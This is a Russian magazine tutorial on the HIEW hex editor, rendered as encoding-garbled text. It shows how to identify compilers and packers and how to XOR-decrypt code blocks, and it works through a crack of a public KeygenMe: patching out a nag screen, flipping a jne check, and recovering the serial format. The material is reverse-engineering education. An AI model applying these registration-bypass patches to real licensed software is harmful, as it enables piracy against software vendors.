âûé ðåæèì, íàæàòü è ïîäåðæàòü <PgUp> â ñàìîì
âåðõó, òî ñìîæåì ïîñìîòðåòü íà íàçâàíèÿ ñåêöèé.
Âîò ïðèìåðíûé ðàñêëàä äëÿ Delphi-ïðîãðàìì, íå
òðîíóòûõ çàùèòîé:

CODE

DATA

BSS

idata

tls

rdata

.reloc

.rsrc

Èòàê, ñ Delphi îïðåäåëèëèñü, òåïåðü ïîãîâîðèì î
C++ Builder. Çäåñü ñëîæíîñòåé íàìíîãî ìåíüøå.
Íà îðèãèíàëüíîé òî÷êå âõîäà âñåãäà ïðèñóòñòâóåò
êîä (ëèñòèíã 2).

Áàéòû, ðàñïîëîæåííûå ìåæäó jmp’îì è
mov’îì: "C++HOOK". Òîæå âñå ïðîñòî :). ×òî æå
íàñ÷åò Basic’à? Îí âñåãäà èìååò òîëüêî äâå êî-
ìàíäû íà EP:

.004011CC: 68EC164000 push

0004016EC -----? (1)

.004011D1: E8EEFFFFFF call MSVBVM60.100

Çäåñü ìû íàáëþäàåì, ÷òî ïî àäðåñó 0004016EC
âñåãäà ïðèñóòñòâóåò VBHeader, íà÷èíàþùèéñÿ ñ
ñèãíàòóðû «VB5!».

PEi óóæå ííå ííóæåí. ×òî òàì ñ óïàêîâùèêàìè?
Ìîæíî äàæå íå ñìîòðåòü íà òî÷êó âõîäà :). Äîñòà-
òî÷íî ïîñìîòðåòü íà EXE-çàãîëîâîê â òåêñòîâîì
âèäå. UPX ïèõàåò â íà÷àëî ïåðâîé ñåêöèè ñèãíàòó-
ðó «UPX!», à ñåêöèè îáçûâàåò «.UPX0», «.UPX1»,

«.rsrc», ïðè÷åì ñåêöèé íàñ÷èòûâàåòñÿ òðè âíå çà-
âèñèìîñòè îò òîãî, ñêîëüêî èõ áûëî äî óïàêîâêè.

Åñëè æå âçãëÿíóòü íà òî÷êó âõîäà (ëèñòèíã 3),
òî îòêðîåòñÿ êîä, äîâîëüíî ñòàíäàðòíûé äëÿ âñåõ
âåðñèé UPX’à.

Ïîäðîáíåå î ñàìîì àëãîðèòìå ðàñïàêîâêè è
âîññòàíîâëåíèè èìïîðòà ÷èòàé â ñòàòüå «Îá óïà-
êîâùèêàõ â ïîñëåäíèé ðàç» (ëåæèò íà
www.wasm.ru). ß æå ïðîäîëæó ðàññêàç îá îïðåäåëå-
íèè äðóãèõ óïàêîâùèêîâ. Ñëåäóþùèì ïî ðàñïðî-

Ëèñòèíã 11
.0046D380: 55 push ebp

.0046D381: 8BEC mov ebp,esp

.0046D383: 83C4F0 add esp,-010 ;"?"

.0046D386: B8A0D14600 mov eax,00046D1A0 -----? (1)

.0046D38B: E8DC94F9FF call .00040686C -----? (2)

.0046D390: A1E8F84600 mov eax,[0046F8E8]

.0046D395: 8B00 mov eax,[eax]

.0046D397: E8A4E6FCFF call .00043BA40 -----? (3)

.0046D39C: E8B3EAFFFF call .00046BE54 -----? (4)

.0046D3A1: 8B0D28F94600 mov ecx,[0046F928]

.0046D3A7: A1E8F84600 mov eax,[0046F8E8]

.0046D3AC: 8B00 mov eax,[eax]

.0046D3AE: 8B15F0B84600 mov edx,[0046B8F0]

.0046D3B4: E89FE6FCFF call .00043BA58 -----? (5)

.0046D3B9: A1E8F84600 mov eax,[0046F8E8]

.0046D3BE: 8B00 mov eax,[eax]

.0046D3C0: 8B4044 mov eax,[eax][44]

.0046D3C3: E834FBFFFF call .00046CEFC -----? (6)

.0046D3C8: A1E8F84600 mov eax,[0046F8E8]

Ëèñòèíã 22
.00401000: EB10 jmps .000401012

.00401002: 66623A bound di,[edx]

.00401005: 43 inc ebx

.00401006: 2B2B sub ebp,[ebx]

.00401008: 48 dec eax

.00401009: 4F dec edi

.0040100A: 4F dec edi

.0040100B: 4B dec ebx

.0040100C: 90 nop

.0040100D: E978D54900 jmp 0206321AA

.00401012: A16BD54900 mov eax,[0049D56B]

Ëèñòèíã 33
.00417180: 60 pushad

.00417181: BE00E04000 mov esi,00040E000 -----? (1)

.00417186: 8DBE0030FFFF lea edi,[esi][-0000D000]

.0041718C: 57 push edi

.0041718D: 83CDFF or ebp,-001 ;"?"

.00417190: EB10 jmps .0004171A2 -----? (2)

.00417192: 90 nop

.00417193: 90 nop

.00417194: 90 nop

.00417195: 90 nop

.00417196: 90 nop

.00417197: 90 nop

.00417198: 8A06 mov al,[esi]

.0041719A: 46 inc esi

.0041719B: 8807 mov [edi],al

Ìû áóäåì èçó÷àòü âîò ýòîò íåñëîæíûé KeygenMe
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ñòðàíåííîñòè ÿâëÿåòñÿ FSG è (ñ íåäàâíèõ ïîð)
Upack. Îíè óçíàþòñÿ î÷åíü ïðîñòî. Ñìîòðèøü íà
òåêñòîâîå ïðåäñòàâëåíèå EXE-çàãîëîâêà — îí
êðàéíå îïòèìèçèðîâàí, è îáû÷íî òàì íåò ñòîëü-
êèõ íóëåâûõ áàéò ìóñîðà, ñêîëüêî îñòàâëÿþò äðó-
ãèå ïàêåðû. Upack äàæå çàïèõèâàåò èìïîðò ïðÿìî
â DOS Header ïîñëå MZ :).

Êñòàòè, åñòü åùå îäèí õèòðûé ìåòîä ëåãêî
îòëè÷èòü MS-êîìïèëÿòîðû îò Borland’îâûõ ïî ïðè-
ñóòñòâèþ «Rich»-ñòðîêè ïîñëå DOS Header’à.

ëó÷øèå ïïîìîùíèêè êêðýêåðà, ñòðèíã-ðåôå-
ðåíñû, ïðåäñòàâëÿþò ñîáîé ïåðå÷åíü âñåõ ñòðîêî-
âûõ äàííûõ, êîòîðûå âñòðå÷àþòñÿ â ïðîãðàììå, è
àäðåñîâ, ãäå ïðîèñõîäèò îáðàùåíèå ê ýòèì ñòðî-
êàì. Îíè åñòü è â HIEW’å! Â HEX-ðåæèìå ñòàâèøü
êóðñîð íà íà÷àëî ëþáîé ñòðîêè è íàæèìàåøü <F6> —
ñðàçó ïåðåéäåøü íà ïåðâîå îáðàùåíèå ê ñîîò-
âåòñòâóþùåé ñòðîêå! Ïîèñê ðóññêèõ ñòðîê çäåñü
òîæå ê òâîèì óñëóãàì. Â îáùåì, HIEW — íà-
ñòîÿùèé ðóëåç.

Æìåì <F7> è ïèøåì «Ïðîãðàììà íå çàðåãè-
ñòðèðîâàíà». <Enter>. Åñëè íóæíî èñêàòü âñå ìå-
ñòà, ãäå âñòðå÷àåòñÿ ñòðîêà, òî <Shift> + <F7>, è HI-
EW íàéäåò ñëåäóþùèé àäðåñ, ãäå èìååòñÿ ñòðî÷-
êà. Òàê êàêèì îáðàçîì îí èùåò ðóññêèå ñòðîêè,
îñîáåííî åñëè îíè ìîãóò áûòü è â DOS-, è â win-
dows-êîäèðîâêå? Òû ñàì äàåøü åìó âñå íóæíûå
çíàíèÿ. Ïåðåä ïîèñêîì íåîáõîäèìî íàæàòü â òåê-
ñòîâîì ðåæèìå <F8> è âûáðàòü êîäèðîâêó. Èìåí-
íî ñ åå ïîìîùüþ HIEW è áóäåò èñêàòü ñòðîêó.

ïîðîé, êîãäà âñìàòðèâàåøüñÿ â äèçàññåì-
áëåðíûå ëèñòèíãè, òàê è õî÷åòñÿ ïåðåéòè ïî àä-
ðåñó, ïî êîòîðîìó óêàçûâàåò jmp, call èëè äàæå
mov. HIEW è òóò íå ïîäâåäåò: êàæäîìó àäðåñó
íà ýêðàíå ïðèñâàèâàåòñÿ óíèêàëüíîå ÷èñëî, íà-
æèìàåøü åãî íà êëàâèàòóðå è ïåðåõîäèøü êóäà
íàäî. Âîò ïðèìåð:

.00417180: 60 pushad

.00417181: BE00E04000 mov

esi,00040E000 -----? (1)

.00417186: 8DBE0030FFFF lea

edi,[esi][-0000D000]

.0041718C: 57 push edi

.0041718D: 83CDFF or ebp,-001 ;"?"

.00417190: EB10 jmps

.0004171A2 -----? (2)

(1) è (2) — òå ñàìûå ÷èñëà. ×òîáû ïåðåéòè ïî óêà-
çàííûì àäðåñàì, ïðîñòî íàáèðàåøü èõ íà êëà-
âèàòóðå (îíè ìîãóò áûòü âûðàæåíû è áóêâàìè,
åñëè ïåðåõîäîâ áîëüøå äåâÿòè). Âîîáùå öèôðî-
âîñòü çàäàåòñÿ â hiew7.ini, òàì òåáå ïðåäîñòàâëÿ-
åòñÿ âîëÿ âûòâîðÿòü ÷òî óãîäíî, äàæå êèòàéñêèå
èåðîãëèôû âïèñàòü.

Òåïåðü îñòàíîâèìñÿ íà ïåðåìåùåíèÿõ ïî
EXE âðó÷íóþ. Ïî <F5> ïåðåõîäèøü íà óêàçàííûé
àäðåñ. Ïðèòîì, åñëè ïðîñòî ââåñòè àäðåñ, òî ïåðå-
ìåñòèøüñÿ ïî Offset’ó. Åñëè ïîñòàâèòü òî÷êó ïå-
ðåä àäðåñîì, HIEW ïåðåéäåò ïî âèðòóàëüíîìó àä-
ðåñó. Î÷åíü óäîáíî. Äàæå â êîäå ýòè àäðåñà ìîæ-
íî ïåðåêëþ÷àòü íàæèìàÿ <Alt> + <F1>. Îïÿòü æå
íå íàïðÿãàÿñü, òû ïåðåõîäèøü ê íà÷àëó íóæíîé
ñåêöèè: çàõîäèøü â PE-çàãîëîâîê íàæàâ <F8>, çà-
òåì äàâèøü <F6> è, âûáðàâ íóæíóþ ñåêöèþ èç
ñïèñêà, îêàçûâàåøüñÿ â åå íà÷àëüíîì àäðåñå. À
÷òî åñëè çàõîòåëîñü ïåðåéòè â íà÷àëî òàáëèöû
èìïîðòà èëè TLS? Èñêàòü ñàìîìó? Íåò. <F8>, çà-
òåì <F10>, è òû ïåðåíîñèøüñÿ ê òàáëèöå ïîëåé
NTHeader’à. Â íåì ïðîñòî âûáèðàåøü íóæíîå ïî-
ëå è íàæèìàåøü <Enter> — ïåðåìåñòèøüñÿ ìãíî-
âåííî :). Âîò òàê ñòàðûé äîáðûé HIEW ïîìîãàåò â
íàøåì íåëåãêîì äåëå.

èññëåäîâàòü ììàëî — íóæíî ïðàâèòü êîä,
ïðè÷åì íå âñå ñïîñîáíû çàïîìíèòü ìàøèííûå êî-
äû è íå âñå ìîãóò îðèåíòèðîâàòüñÿ â ñîñòàâëåíèè
mod/rm-ôëàãîâ (è êîäèðîâàòü ðåãèñòðû â óìå).
Ïðàâèòü â HEX-ðåäàêòîðå — íåìíîãî íåóäîáíûé
ìåòîä (õîòÿ ÿ, íàïðèìåð, íàïèñàë âåñü äâèæîê
DotFix FakeSigner’à ÷èñòî â HIEW è óæå ïðèâûê êî-
äèðîâàòü â óìå :)). Êîíå÷íî æå, è òóò HIEW íå
îñòàâèò òåáÿ â áåäå, íà ïîìîùü ïðèäåò åãî ìîù-
íûé àññåìáëåð! ×òîáû ïðàâèòü êîä, íàæèìàåøü
<F3>, çàòåì äðîæàùèì ïàëüöåì òûêàåøü â <Tab>…

Î ÷óäî! Â ïîÿâèâøåéñÿ òåêñòîâîé ñòðîêå ìîæíî
ïèñàòü êîìàíäû ïðÿìî íà àññåìáëåðå. Íàæàòèå
<Enter> ïîçâîëÿåò åùå è íà÷àòü íàáîð ñëåäóþùåé
êîìàíäû.

Êàê âèäèøü, æèçíü íå òàê ñëîæíà, êàê êàçà-
ëîñü, êîãäà òû íà÷èíàë ÷èòàòü ýòó ñòàòüþ :). Êñòà-
òè, íàñ÷åò îøèáîê. Ïðàêòè÷åñêè ëþáîé ââåäåííûé
êîä ìîæíî îòìåíèòü íàæèìàÿ <F3>. Ñ ïîìîùüþ
<F9> òû çàïèøåøü â ôàéë ïðàâèëüíî íàïèñàííîå.
Òîëüêî âîò íåçàäà÷à, ïîñëå çàïèñè ôàéë íå çàïó-
ñêàåòñÿ è ïðèõîäèòñÿ âûõîäèòü èç HIEW, ÷òîáû
ñíÿòü çàëî÷åííîñòü. Íî ðåøåíèå âíîâü íàõîäèòñÿ.
Îòêðûâàåì hiew7.ini è èùåì ñòðîêó «ReopenAfterE-
dit», ñòàâèì åå â «On». Òåïåðü, ïîñëå ðåäàêòèðî-
âàíèÿ, ôàéë áóäåò çàêðûâàòüñÿ è âíîâü îòêðû-
âàòüñÿ äëÿ ÷òåíèÿ, ÷òî ïîçâîëèò çàïóñêàòü åãî ïî-
ñëå êàæäîé ïðàâêè. ß ñïðîñèë ó Åâãåíèÿ, çà÷åì îí
íå ñäåëàë òî æå ñàìîå â íàñòðîéêàõ ïî óìîë÷à-
íèþ. Óãàäàé, ÷òî îòâåòèë àâòîð HIEW. Äà, ïðà-

âèëüíî: «×òîáû ëþäè ÷èòàëè help». Òàê ÷òî ìîðàëü
ïðîñòàÿ: ÷èòàé help, êîììåíòàðèè êî âñåì ñòðîêàì
hiew7.ini, è äà äàðóåòñÿ òåáå çíàíèå.

äåêðèïòóåì XXOR. Ñ íåêîòîðûõ ïîð ïîâåëîñü
òàê, ÷òî êàæäûé êîäåð, ðàçîáðàâøèéñÿ ñ PE-ôîð-
ìàòîì, ïèøåò ñâîé êðèïòîð. Êàê íè ñòðàííî, èõ äå-
ëî ïðîöâåòàåò è ïîÿâëÿåòñÿ âñå áîëüøå ïðîãðàìì,
ñïîñîáíûõ øèôðîâàòü EXE è çàùèùàòü åãî îò
âçëîìà (ÿêîáû). Â îñíîâíîì îíè èñïîëüçóþò àëãî-
ðèòì XOR :), è ïîñêîëüêó îí îáðàòèì, äëÿ ðàñøè-

Âèä ýêðàíà HIEW ïðè çàïóñêå íè÷óòü íå îòëè÷àåòñÿ îò âèäà ýêðàíà FAR’à â ðåæèìå ïðîñìîòðà ôàéëà

Íà÷àëî ñòðóêòóðû, îïèñûâàþùåé ëþáóþ 
VB-ïðîãðàììó

UPack æìåò ïðîãðàììó òàê, ÷òî îò çàãîëîâêà îñòà-
åòñÿ òîëüêî MZ, ïîñëå êîòîðîãî èäåò èìïîðò.
Æàëü, ÷òî àíòèâèðóñû íå ðàçäåëÿþò ýòó èäåþ îï-
òèìèçàöèè



ôðîâêè îñòàåòñÿ òîëüêî óçíàòü ïàðîëü è îáðàáî-
òàòü èì øèôðîâàííûé êóñîê êîäà.

Èíîãäà àíàëèç ïðîãðàììû ïîçâîëÿåò óçíàòü,
êàêèì êëþ÷îì äåøèôðóåòñÿ òîò èëè èíîé áëîê. È
êàê æå ðàñøèôðîâûâàòü? Â óìå? Âñþ ñåêöèþ êî-
äà? «Íå ñìåøèòå», — ñêàçàë òû è ïîøåë ïî-áû-
ñòðîìó ïèñàòü ïðîãðàììó íà Ñ äëÿ ðåøåíèÿ ýòîé
çàäà÷è. Ñòîï! Âñå ýòî óæå åñòü â HEX-ðåäàêòîðå
HIEW. Â ðåæèìå ðåäàêòèðîâàíèÿ òû âñåãî ëèøü
íàäàâëèâàåøü <Ctrl>+<F8> è çàäàåøü êëþ÷, ïîòîì
<F8>, êñîðÿ áëîê çà áëîêîì. Çàæèìàåøü <F8> è
äåðæèøü, ïîêà íå ðàñêðèïòóåòñÿ!

êàê ááû ííè ááûë ññèëåí XXOR, îí íå âñåãäà ïîä-
õîäèò äëÿ øèôðîâêè-äåøèôðîâêè. Îäíàêî íå
ñïåøè ãðóñòèòü — HIEW ïîçâîëèò òåáå çàäàâàòü
àëãîðèòì øèôðîâêè ñàìîñòîÿòåëüíî. Äëÿ ýòîãî
íàæèìàåøü <F3>, ÷òîáû ïåðåéòè â ðåæèì ðåäàê-
òèðîâàíèÿ, çàòåì <F7>. Îòðîåòñÿ äèàëîã íàáîðà
êîäà. Çàáèâàåøü òóäà àëãîðèòì êðèïòîâêè è èñ-
ïîëüçóåøü. Êàê ïèñàòü êðèïòîàëãîðèòì, îáúÿñ-
íåíî â ñïðàâêå. Íàïèñàíî íîðìàëüíî, ðàçîáðàòü-
ñÿ ìîæíî ;).

Äëÿ áîëüøåé ïðîñòîòû è íàãëÿäíîñòè âîçü-
ìåì KeygenMe by Fabsys. Òÿíè åãî ñ crackmes.de
èëè ñ äèñêà ê æóðíàëó. Íà÷íåì èññëåäîâàòü. Îò-
êðûâàåì keygen.exe â hiew (ëèñòèíã 4). ×òî âèäèì?

Ïî àäðåñó 40822A êðàñóåòñÿ âûçîâ íàãñêðè-
íà :). Ëó÷øèé âûõîä — ïðîïàò÷èòü åãî, äëÿ ÷åãî
óñòàíàâëèâàåøü êóðñîð íà 40821C è æìåøü <F3>,
÷òîáû ïåðåéòè â ðåæèì ïðàâêè. Çàòåì <Tab> äëÿ
âûçîâà îêíà àññåìáëåðà. Òàì ïèøåøü «jmps
.40822F» (áåç êàâû÷åê). Êîìàíäà jmps, â îòëè÷èå
îò jmp, ñãåíåðèò short jmp, çàíèìàþùèé âñåãî äâà
áàéòà. Òî÷êà ïåðåä àäðåñîì ñòàâèòñÿ ïîòîìó, ÷òî
ýòî VA, à íå Offset.

Çàïóñòèì äëÿ ïðîâåðêè. Óðà! Íàãà êàê íå
áûâàëî. È òóò íà÷èíàþòñÿ ðàçáîðêè ñ ïðîâåðêîé
ïàðîëÿ. ß ââåë èìÿ «GPcH», ïàðîëü — «12345».
Ïðè íàæàòèè íà êíîïêó Generate âèäèì ñîîáùå-
íèå «BaD BoY». Ñíîâà ïåðåõîäèì â HIEW. Â ðå-
æèìå äèçàññåìáëåðà <F8>, çàòåì <F6> äëÿ âûâî-
äà ñåêöèé. Âûáèðàåøü ïåðâóþ ñåêöèþ. Êàê òîëü-

êî ïåðåâåäåøüñÿ â åå íà÷àëî, íà÷èíàé ïîèñê:
<F7> è ââåñòè «BaD BoY». Âîò íàøåë, è òóò æå
<F6>, ÷òîáû HIEW ïåðåøåë ïî àäðåñó, îòêóäà
èäåò îáðàùåíèå ê ýòîé ñòðîêå. Â ðåçóëüòàòå âè-
äèì ñîäåðæèìîå ëèñòèíãà 5.

Ëîãè÷íî, ÷òî òåïåðü ïîñëåäóåò ïîïûòêà óç-
íàòü, îòêóäà èäåò îáðàùåíèå ê 408086 àäðåñó.
×óòü âûøå íàõîäèòñÿ åãî âûâîä èíôîðìàöèè î
òîì, ÷òî ïàðîëü ïðàâèëüíûé. Ñëåäîâàòåëüíî, ãäå-
òî åñòü ïåðåõîä íà âûâîä èíôîðìàöèè ëèáî î âåð-
íîì ïàðîëå, ëèáî î íåâåðíîì. Ñòàâèì êóðñîð íà
àäðåñ 408086 è æìåì <F6>. Ïî÷òè ìãíîâåííî, êàê

ïî âåëåíèþ âîëøåáíîé ïàëî÷êè, HIEW ïåðåíåñåò
òåáÿ íà ñòðîêó, ãäå èäåò îáðàùåíèå ê àäðåñó
408086 (ëèñòèíã 6).

Ïîïðîáóåì èñïðàâèòü ïåðåõîä jne íà je ïî
àäðåñó 408055. Çàïóñêàåøü KeygenMe è ââî-
äèøü ëþáîé ïàðîëü — ïðîãðàììà áóäåò çàðåãè-
ñòðèðîâàíà. HIEW ïðîñòî ðóëåç! Íåñìîòðÿ íà
ýòî, âñå åùå íå äîñòèãíóòà öåëü — ïîëó÷èòü ðà-
áî÷èé êëþ÷. Óâû, HIEW íå íàñòîëüêî ìîùåí, ÷òî-
áû ðåâåðñèòü â íåì àëãîðèòì è ïèñàòü Keygen.
Äëÿ òîãî ÷òîáû ñäåëàòü ïîëíîöåííûé Keygen, ïî-
òðåáóåòñÿ îòëàæèâàòü ïðîãðàììó. Îíî íàì íà-
äî? Ìîæåò, ëó÷øå ïðîñòî ïîïûòàòüñÿ ïîëó÷èòü
ñåðèéíèê íà ñâîå èìÿ? Ïîïðîáóåì! Ïîèçó÷àåì
êîä, êîòîðûé èäåò ïåðåä jne. Íà ïàðó ýêðàíîâ âû-
øå îáíàðóæèòñÿ ñîäåðæèìîå, êîòîðîå òû ìî-
æåøü âèäåòü íà ëèñòèíãå 7.

Ñðàâíèâàåì [ebp][-00000204] ñ íóëåì. Åñëè
«ðàâíî», âûâîäèì «Íåâåðíûé ñåðèéíèê». Ëîãè÷íî
áûëî áû ïðåäïîëîæèòü, ÷òî ñåðèéíèê ëåæèò ïî àä-
ðåñó [ebp-204]. Ñìîòðèì íèæå. Òåïåðü ñ íóëåì
ñðàâíèâàåòñÿ [ebp-204] è âûâîäèòñÿ ñîîáùåíèå î
íåâåðíîì èìåíè ïîëüçîâàòåëÿ. Àãà, íàêîíåö âûÿñ-
íåíî, ÷òî èìÿ íàõîäèòñÿ â [ebp-204]. Âíèìàíèå íà
ëèñòèíã 8.

Í-äà, ÿñíî: áåç îòëàä÷èêà íå ðàçáåðåøüñÿ,
êàêîé Call è êàêóþ ôóíêöèþ âûïîëíÿåò. Âñå æå
âçãëÿíåì íà êàæäûé èç íèõ. Ïîõîæå, ïåðâûé ïðî-
ñòî ïåðåíîñèò èìÿ ïîëüçîâàòåëÿ â äðóãóþ ïåðå-
ìåííóþ. Âòîðîé æå êðèïòóåò åå. Ïðîëèñòàåì êîä
ïî àäðåñó 407E14. Î ÷óäî:

Ëèñòèíã 44
.0040820C: 55 push ebp

.0040820D: 8BEC mov ebp,esp

.0040820F: 83C4F0 add esp,0FFFFFFF0 ;'?'

.00408212: B8C4814000 mov eax,0004081C4 --?1

.00408217: E8F0C2FFFF call .00040450C --?2

.0040821C: 6A40 push 000000040 ;'@'

.0040821E: 684C824000 push 00040824C ;'Rules'

.00408223: 6854824000 push 000408254 ;'KeygenMe and de

.00408228: 6A00 push 0

.0040822A: E841C4FFFF call MessageBoxA ;user32 --?5

.0040822F: 68047F4000 push 000407F04 --?6

Ëèñòèíã 55
.00408067: 6848814000 push 000408148 ;'Prolixe KeygenM

.0040806C: 53 push ebx

.0040806D: E81EC6FFFF call SetWindowTextA ;user32 --?2

.00408072: 6A00 push 0

.00408074: 6874814000 push 000408174 ;'Winner'

.00408079: 687C814000 push 00040817C ;'GooD BoY'

.0040807E: 53 push ebx

.0040807F: E8ECC5FFFF call MessageBoxA ;user32 --?5

.00408084: EB20 jmps .0004080A6 --?6

.00408086: 6A00 push 0

.00408088: 6888814000 push 000408188 ;'Wrong Way'

.0040808D: 6894814000 push 000408194 ;'BaD BoY'

.00408092: 53 push ebx

.00408093: E8D8C5FFFF call MessageBoxA ;user32 --?5

.00408098: EB0C jmps .0004080A6 --?6

Êàê íàñòîÿùèå àññåìáëåðùèêè, ïèøåì ïðîãðàììó áåç âñÿêèõ ñðåä ïðîãðàììèðîâàíèÿ
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.00407E99: 68EC7E4000 push

000407EEC ;'HZF-'

.00407E9E: FF75F4 push

d,[ebp][-0C]

.00407EA1: 68FC7E4000 push

000407EFC ;'-GFD'

Åñëè íå ïîäêëþ÷àòü ê äåëó äåáàããåð, òî ýòîò êîä
òû ïîéìåøü òîëüêî ëîãè÷åñêè. Êàê ÿ ïîäîçðå-
âàþ, ïàðîëü ìîæåò ñêëàäûâàòüñÿ êàê: 'HZF-' +
[ebp][-0C] + '-GFD'. Ïðîâåðèì ÝÒÎ. Ïî ëèñòèíãàì
âûøå ìû çíàåì àäðåñ MessageBoxA â IAT. Òàê è
âûçîâåì åãî, à â ïàðàìåòðàõ óêàæåì [ebp][-0C].
Ïðÿìî ïîñëå

push 000407EFC ;'-GFD'

æìè <F3> è íàáèðàé. Ó ìåíÿ ïîëó÷èëîñü íå÷òî, ïî
âèäó íàïîìèíàþùåå ñîäåðæèìîå ëèñòèíãà 9.

Òåïåðü ïðè ââîäå íåâåðíîãî ñåðèéíèêà âû-
âîäèòñÿ ñåðåäèíà âåðíîãî. Ñëåâà äîáàâèì ê íåé
'HZF-'. Ñïðàâà — '-GFD'. Ïîëó÷èì âåðíûé êîä. Ïðà-
âäà, àâòîð íå ïîçàáîòèëñÿ î òîì, ÷òîáû êîä âñåãäà
èìåë ïå÷àòàåìûå ñèìâîëû, òàê ÷òî êëþ÷ èç íîð-
ìàëüíûõ áóêîâîê áóäåò íå íà êàæäîå èìÿ. Âïðî-
÷åì, óæå íå íàøè ïðîáëåìû — öåëü, ïîëó÷åíèå
ïàðîëÿ, äîñòèãíóòà.

çàêëþ÷åíèå. Íåìíîãî ïîçíàêîìëþ ÷èòàòåëÿ
ñ òåì, ÷òî ãðÿäåò â áóäóùèõ ðåëèçàõ ïðîãðàììû.
Ãëàâíîå, ÷òî àâòîð äåéñòâèòåëüíî ïëàíèðóåò, —
ïîääåðæêà AMD64. Ýòà ëèíåéêà ïðîöåññîðîâ óæå
ñòàëà ïîèñòèíå íàðîäíîé è ïîëó÷èëà øèðîêîå ðàñ-
ïðîñòðàíåíèå â ìèðå. Íàñêîëüêî ìíå èçâåñòíî, äà-
æå Microsoft â Win64 äåëàåò îñíîâíîé óïîð íà ïðî-
öåññîðû AMD. Â ïîñëåäíåå âðåìÿ ñòàëî ïîÿâëÿòü-
ñÿ âñå áîëüøå ïðîãðàìì è äàæå äðàéâåðîâ, ñêîì-
ïèëèðîâàííûõ â ôîðìàòå AMD64, ïîýòîìó â ëþ-
áîì ñëó÷àå íåîáõîäèìî ðàñøèðÿòü àññåìáëåð è
äèçàññåìáëåð HIEW’à.

Íèêàêèõ ïëàíîâ íàñ÷åò IA64 ïîêà íå ñòðîèò-
ñÿ. Òóò õîòÿ áû AMD64 ðåàëèçîâàòü. Íàñ÷åò .NET è
ARM Sen îáåùàë ïîäóìàòü, íî áîëüøå íà ïåðñïåê-
òèâó, òàê êàê ðàçáèðàòüñÿ ñ àáñîëþòíî íîâûì àñ-
ñåìáëåðîì è ïñåâäîêîäîì íå òàê ïðîñòî.

Ïîìèìî òîãî, ÷òî ñêàçàíî, àâòîð äèçàññåì-
áëåðà ïëàíèðóåò ïóáëèêàöèþ ïîëíîãî Plugin
SDK, ÷òîáû ëþáîé æåëàþùèé ìîã ðàçðàáîòàòü
ïëàãèí äëÿ ðàñøèðåíèÿ ôóíêöèîíàëà HIEW’à. Ê
ïðèìåðó, ñäåëàòü ñêðèïòîâûé ÿçûê äëÿ àâòîìà-
òèçàöèè äåéñòâèé â HIEW èëè, ñêàæåì, àíàëèçà-
òîð êîìïèëÿòîðà/óïàêîâùèêà. Â îáùåì, åñëè
SDK âûéäåò íà ñöåíó, äóìàþ, çà ïëàãèíàìè íå
çàðæàâååò. GUI, ñêîðåå âñåãî, íå áóäåò, òàê êàê
êîíñîëüíûé èíñòðóìåíò ãîðàçäî óäîáíåå win-
dow’îãî, ÷òî óæå äîêàçàíî FAR’îì. Òàê ÷òî ïåðñ-
ïåêòèâ ìíîãî — îñòàëîñü æäàòü. Áóäó âåðèòü,
÷òî Åâãåíèé íå ïîäêà÷àåò. À òåáå æåëàþ óñïåõîâ
â èññëåäîâàíèÿõ. Íàäåþñü, ýòà ñòàòüÿ îáîãàòèëà
òâîè çíàíèÿ î HIEW, òàêîì ïîëåçíîì èíñòðóìåí-
òå ðåâåðñåðà, è ïîêàçàëà ëó÷øèå ñïîñîáû ïî àâ-
òîìàòèçàöèè ðàçíûõ çàäà÷ 

Ëèñòèíã 66
.0040801E: E819B8FFFF call .00040383C --?1

.00408023: 8B85F8FDFFFF mov eax,[ebp][-00000208]

.00408029: 8D55FC lea edx,[ebp][-04]

.0040802C: E8E3FDFFFF call .000407E14 --?2

.00408031: 8D85F4FDFFFF lea eax,[ebp][-0000020C]

.00408037: 8D95FCFDFFFF lea edx,[ebp][-00000204]

.0040803D: B900010000 mov ecx,000000100 ;' ? '

.00408042: E8F5B7FFFF call .00040383C --?1

.00408047: 8B95F4FDFFFF mov edx,[ebp][-0000020C]

.0040804D: 8B45FC mov eax,[ebp][-04]

.00408050: E8EBB8FFFF call .000403940 --?3

.00408055: 752F jne .000408086 --?4 — ìû çäåñü

.00408057: 6834814000 push 000408134 ;'Registred Versi

.0040805C: 68F1030000 push 0000003F1 ;' ??'

.00408061: 53 push ebx

.00408062: E811C6FFFF call SetDlgItemTextA ;user32 --?

Ëèñòèíã 77
.00407FCD: 80BDFCFDFFFF00 cmp b,[ebp][-00000204],0

.00407FD4: 7517 jne .000407FED --?1

.00407FD6: 6A40 push 000000040 ;'@'

.00407FD8: 680C814000 push 00040810C ;'Error'

.00407FDD: 6814814000 push 000408114 ;'Enter a Serial'

.00407FE2: 53 push ebx

.00407FE3: E888C6FFFF call MessageBoxA ;user32 --?4

.00407FE8: E9B9000000 jmp .0004080A6 --?5

.00407FED: 80BDFCFEFFFF00 cmp b,[ebp][-00000104],0

.00407FF4: 7517 jne .00040800D --?6

.00407FF6: 6A40 push 000000040 ;'@'

.00407FF8: 680C814000 push 00040810C ;'Error'

.00407FFD: 6824814000 push 000408124 ;'Enter a Name'

.00408002: 53 push ebx

.00408003: E868C6FFFF call MessageBoxA ;user32 --?4

Ëèñòèíã 88
.0040800D: 8D85F8FDFFFF lea eax,[ebp][-00000208]

.00408013: 8D95FCFEFFFF lea edx,[ebp][-00000104]

.00408019: B900010000 mov ecx,000000100 ;' ? '

.0040801E: E819B8FFFF call .00040383C --?2

.00408023: 8B85F8FDFFFF mov eax,[ebp][-00000208]

.00408029: 8D55FC lea edx,[ebp][-04]

.0040802C: E8E3FDFFFF call .000407E14 --?3

.00408031: 8D85F4FDFFFF lea eax,[ebp][-0000020C]

.00408037: 8D95FCFDFFFF lea edx,[ebp][-00000204]

.0040803D: B900010000 mov ecx,000000100 ;' ? '

.00408042: E8F5B7FFFF call .00040383C --?2

.00408047: 8B95F4FDFFFF mov edx,[ebp][-0000020C]

.0040804D: 8B45FC mov eax,[ebp][-04]

.00408050: E8EBB8FFFF call .000403940 --?4

.00408055: 752F jne .000408086 --?5

Ëèñòèíã 99
.00407E99: 68EC7E4000 push 000407EEC ;'HZF-'

.00407E9E: FF75F4 push d,[ebp][-0C]

.00407EA1: 68FC7E4000 push 000407EFC ;'-GFD'





78 | SPECIAL DELIVERY

ÔÔððèèêêèèííãã ííåå ääëëÿÿ 
ääèèëëååòòààííòòîîââ:: ïïîîññîîááèèåå 
ïïîî ââççëëîîììóó èè ççààùùèèòòåå 
òòååëëååôôîîííííûûõõ ëëèèííèèéé

Ì.: ÇÀÎ «Íîâûé 
èçäàòåëüñêèé äîì», 2005
